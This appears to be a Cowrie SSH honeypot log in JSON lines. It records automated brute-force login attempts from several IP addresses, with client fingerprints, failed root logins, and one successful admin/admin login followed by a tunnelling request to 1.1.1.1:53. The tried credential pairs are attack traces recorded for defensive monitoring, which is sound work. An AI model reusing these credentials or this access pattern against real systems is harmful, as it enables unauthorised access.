{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:43.067414Z","src_ip":"14.63.196.175","session":"655c2d6d916c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:43.266587Z","src_ip":"14.63.196.175","session":"655c2d6d916c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweZXC","message":"login attempt [root/123qweZXC] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:44.091765Z","src_ip":"14.63.196.175","session":"655c2d6d916c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:44:45.291921Z","src_ip":"14.63.196.175","session":"655c2d6d916c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:04.207171Z","src_ip":"8.218.166.49","session":"d74c20a20d52","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:22.226420Z","src_ip":"8.218.166.49","session":"0d3cbe01be12","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"179.61.232.244","src_port":45022,"dst_ip":"10.17.0.5","dst_port":22,"session":"4d20237cd3d6","protocol":"ssh","message":"New connection: 179.61.232.244:45022 (10.17.0.5:22) [session: 4d20237cd3d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.565764Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.570822Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.597953Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5f:8c:da:3b:38:6f:d0:ad:e6:53:cd:0c:f8:29:c8:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcpfJmhTJ1RIXijhux/e+QpMAmEmNmLNtCoOsMXJfpKgzoQQ7qeWWwnhJWBDVutgT8lRGL67funuA+0guNuliOoFI0PsS8yvutwaw+e8BfzunQCZfIY9kgCQZYN8b0IQuWyfHaUE9/Z1/uq7wZyv28xEIankd0Qu57rnTVWPaDRKetmqDaPwEFLDkUbqkDM08eVDVJ2/Cgc6x6fG7Hn1o1WNlKZjXIpWIr78487TwK0YOe7wV5Amwse0YsfMYcmYnR5bJWwI1QyVrXymED5rtS0biNquxjV2lM6Jos5Y4d3OkdeszWS21Iahno8iNk7NhLksJTgVhS9uddfC0FxhfJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5f:8c:da:3b:38:6f:d0:ad:e6:53:cd:0c:f8:29:c8:d8","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.710823Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5f:8c:da:3b:38:6f:d0:ad:e6:53:cd:0c:f8:29:c8:d8","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDcpfJmhTJ1RIXijhux/e+QpMAmEmNmLNtCoOsMXJfpKgzoQQ7qeWWwnhJWBDVutgT8lRGL67funuA+0guNuliOoFI0PsS8yvutwaw+e8BfzunQCZfIY9kgCQZYN8b0IQuWyfHaUE9/Z1/uq7wZyv28xEIankd0Qu57rnTVWPaDRKetmqDaPwEFLDkUbqkDM08eVDVJ2/Cgc6x6fG7Hn1o1WNlKZjXIpWIr78487TwK0YOe7wV5Amwse0YsfMYcmYnR5bJWwI1QyVrXymED5rtS0biNquxjV2lM6Jos5Y4d3OkdeszWS21Iahno8iNk7NhLksJTgVhS9uddfC0FxhfJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.715514Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ad:6f:79:84:7e:41:51:52:a6:b9:f5:25:9e:bf:8f:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHWHa32MRacCQ+zeoiC9vqLleyQXl6MbPHAIF3y6lf7tnugPNe/ooKtcnZf4FEXGbU2IsKTrlnJccqrt+gpFu1/YKBuNcvSeXCQDVg8X5AwZP+1qLUToEi1ixZhE/iJmYE2wZiDM04D4RjYk9JHYS0lgz23I+aQAujivyJTJ+lb1xSSs2xPqMKpxP/5gIznmAIIm/QE49DttD/sYyf119vX4rWKqLEXRKnV4B+BA7bYZd40ZkrfHqDVxRc5t2i4DZAPRXXmoVFnSF4633pGuQd+WsS+y5sIx8NHr0zyzoXdFxGziJGJTqLmO/uXckBR0VEMv1HIF1kmYkzQ9TZ3GR","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ad:6f:79:84:7e:41:51:52:a6:b9:f5:25:9e:bf:8f:7d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.744024Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ad:6f:79:84:7e:41:51:52:a6:b9:f5:25:9e:bf:8f:7d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqHWHa32MRacCQ+zeoiC9vqLleyQXl6MbPHAIF3y6lf7tnugPNe/ooKtcnZf4FEXGbU2IsKTrlnJccqrt+gpFu1/YKBuNcvSeXCQDVg8X5AwZP+1qLUToEi1ixZhE/iJmYE2wZiDM04D4RjYk9JHYS0lgz23I+aQAujivyJTJ+lb1xSSs2xPqMKpxP/5gIznmAIIm/QE49DttD/sYyf119vX4rWKqLEXRKnV4B+BA7bYZd40ZkrfHqDVxRc5t2i4DZAPRXXmoVFnSF4633pGuQd+WsS+y5sIx8NHr0zyzoXdFxGziJGJTqLmO/uXckBR0VEMv1HIF1kmYkzQ9TZ3GR","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.748146Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"69:fa:75:a2:f4:8b:7d:1e:ee:b7:77:5a:e6:51:c6:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFG9A7I4ZsZqE4h8Vsygih1NPX0uEtYSgyeHu+umuebv0KAj1gpBdVOisnlfYglzlbEjZL31nHHspcb1nKUYNtBevlkHjnI1iLHyIcIOWZX0At895symn4vxosF2LvD6SrSwBK3vk+xv6GifHV1M1nop7NoFK/2vCZ9wQS98/Vyo2V3bZrteAENR7Tp8e02nn6t07rd6Gqpt4j3sVGavIiaUxEP67Kx9nmSLQ5YTWpfauFPlD6/dzZDTfMZtgXD4P5VcMsx7JUwIqALI75nUTkUwnvNyErIXrrY+y1Ew9OeWEJwVWntguZSiVP8XxEpVEf7O8D5aTc/5GAtmexdsID","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 69:fa:75:a2:f4:8b:7d:1e:ee:b7:77:5a:e6:51:c6:69","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.778598Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"69:fa:75:a2:f4:8b:7d:1e:ee:b7:77:5a:e6:51:c6:69","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFG9A7I4ZsZqE4h8Vsygih1NPX0uEtYSgyeHu+umuebv0KAj1gpBdVOisnlfYglzlbEjZL31nHHspcb1nKUYNtBevlkHjnI1iLHyIcIOWZX0At895symn4vxosF2LvD6SrSwBK3vk+xv6GifHV1M1nop7NoFK/2vCZ9wQS98/Vyo2V3bZrteAENR7Tp8e02nn6t07rd6Gqpt4j3sVGavIiaUxEP67Kx9nmSLQ5YTWpfauFPlD6/dzZDTfMZtgXD4P5VcMsx7JUwIqALI75nUTkUwnvNyErIXrrY+y1Ew9OeWEJwVWntguZSiVP8XxEpVEf7O8D5aTc/5GAtmexdsID","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.782637Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"34:64:2d:74:72:54:49:39:c9:98:fe:9f:79:51:36:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAr/q5ulzUKTxjF/VDaI6aiaTltLc2et27erueoexZspfFowSjODXdx5PYljJrZFihpB+4abyASUKNeUwiV4Z6Up4qcZnvNGOZr1gFxS/iCJha8F4oDZ5Hxs8h+c+Ln7JyHZpeOG0t7oLdP6G93wmycX/IZjb9qnjiqK6rthrygtMlh0gdTylYKdBkxBbiSNIN+IRpyoeIbZvDtTov+lGYSXv+hapLxikAffqIMP88jQE/wivhx3MJVIccpJK4jY8Z8aKOcEjQzj8iT5gyISjB8hohnZEb9E1LlRX73KHQHI+ynCRCyl4iHMkDfD3ifXPZ5Qzgdb4mab95ZgZl19QF","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 34:64:2d:74:72:54:49:39:c9:98:fe:9f:79:51:36:e9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.811837Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"34:64:2d:74:72:54:49:39:c9:98:fe:9f:79:51:36:e9","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDAr/q5ulzUKTxjF/VDaI6aiaTltLc2et27erueoexZspfFowSjODXdx5PYljJrZFihpB+4abyASUKNeUwiV4Z6Up4qcZnvNGOZr1gFxS/iCJha8F4oDZ5Hxs8h+c+Ln7JyHZpeOG0t7oLdP6G93wmycX/IZjb9qnjiqK6rthrygtMlh0gdTylYKdBkxBbiSNIN+IRpyoeIbZvDtTov+lGYSXv+hapLxikAffqIMP88jQE/wivhx3MJVIccpJK4jY8Z8aKOcEjQzj8iT5gyISjB8hohnZEb9E1LlRX73KHQHI+ynCRCyl4iHMkDfD3ifXPZ5Qzgdb4mab95ZgZl19QF","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.818443Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"60:c5:cb:2e:23:c1:28:48:b7:58:e3:d2:c0:e0:03:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnQPtHSb1U8/dE0+81R4BkDxQgR/3xQbBP0kx1/oYz5MuPnBCsEhenOANYnZ1KqNycE/MNwFWeLgqNkWXAARTaEdnUKeuyDAysFE6J+2BXozRjQZrn8DM3TQRdQVieHFQKppD6hKETHlwvRZjjdp6o9CDWECg4n+ZgTVh9+uSZYqftAcprHG7r6kZocqBpOTmiI5y0sy/apRVJ+CEbr3cwGHY7eZw5DAfu7+JzC5Ew2f2ILzVGmAZ5ci6xqjd82vLaWRqJ2Swas7jWn0CsVSM2OQm3St4QyIdtG2vedIkJrYy6BrGBiy6Gwct7sEab3oZOYrHn1rAWgv7nAqhYS49tQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 60:c5:cb:2e:23:c1:28:48:b7:58:e3:d2:c0:e0:03:92","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.848973Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"60:c5:cb:2e:23:c1:28:48:b7:58:e3:d2:c0:e0:03:92","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAnQPtHSb1U8/dE0+81R4BkDxQgR/3xQbBP0kx1/oYz5MuPnBCsEhenOANYnZ1KqNycE/MNwFWeLgqNkWXAARTaEdnUKeuyDAysFE6J+2BXozRjQZrn8DM3TQRdQVieHFQKppD6hKETHlwvRZjjdp6o9CDWECg4n+ZgTVh9+uSZYqftAcprHG7r6kZocqBpOTmiI5y0sy/apRVJ+CEbr3cwGHY7eZw5DAfu7+JzC5Ew2f2ILzVGmAZ5ci6xqjd82vLaWRqJ2Swas7jWn0CsVSM2OQm3St4QyIdtG2vedIkJrYy6BrGBiy6Gwct7sEab3oZOYrHn1rAWgv7nAqhYS49tQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.853584Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:24.886971Z","src_ip":"179.61.232.244","session":"4d20237cd3d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:30.725205Z","src_ip":"8.218.166.49","session":"97b5b13504ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":57966,"dst_ip":"10.17.0.5","dst_port":22,"session":"1ff1d19bbcda","protocol":"ssh","message":"New connection: 8.218.166.49:57966 (10.17.0.5:22) [session: 1ff1d19bbcda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:42.223694Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:52.555892Z","src_ip":"8.218.166.49","session":"1ff1d19bbcda","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:45:52.559397Z","src_ip":"8.218.166.49","session":"1ff1d19bbcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51608,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6a31e6916a6","protocol":"ssh","message":"New connection: 8.218.166.49:51608 (10.17.0.5:22) [session: e6a31e6916a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:03.843073Z"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":52074,"dst_ip":"10.17.0.5","dst_port":22,"session":"5302ea5b93c1","protocol":"ssh","message":"New connection: 8.218.166.49:52074 (10.17.0.5:22) [session: 5302ea5b93c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:11.961787Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:11.966328Z","src_ip":"8.218.166.49","session":"5302ea5b93c1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ranger","password":"ranger","message":"login attempt [ranger/ranger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:15.803574Z","src_ip":"8.218.166.49","session":"1ff1d19bbcda","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"34.8","message":"Connection lost after 34.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:17.015732Z","src_ip":"8.218.166.49","session":"1ff1d19bbcda","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":54252,"dst_ip":"10.17.0.5","dst_port":22,"session":"63413e91e509","protocol":"ssh","message":"New connection: 8.218.166.49:54252 (10.17.0.5:22) [session: 63413e91e509]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:37.803240Z"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:41.050464Z","src_ip":"8.218.166.49","session":"63413e91e509","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47670,"dst_ip":"10.17.0.5","dst_port":22,"session":"6f59bc0fa645","protocol":"ssh","message":"New connection: 8.218.166.49:47670 (10.17.0.5:22) [session: 6f59bc0fa645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:47.220226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:47.324389Z","src_ip":"8.218.166.49","session":"6f59bc0fa645","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":63812,"dst_ip":"10.17.0.5","dst_port":22,"session":"1eeec6aee100","protocol":"ssh","message":"New connection: 87.251.64.176:63812 (10.17.0.5:22) [session: 1eeec6aee100]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:48.634496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:48.638985Z","src_ip":"87.251.64.176","session":"1eeec6aee100","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:48.735623Z","src_ip":"87.251.64.176","session":"1eeec6aee100","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:49.024260Z","src_ip":"87.251.64.176","session":"1eeec6aee100","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:46:49.122751Z","session":"1eeec6aee100","protocol":"ssh"}
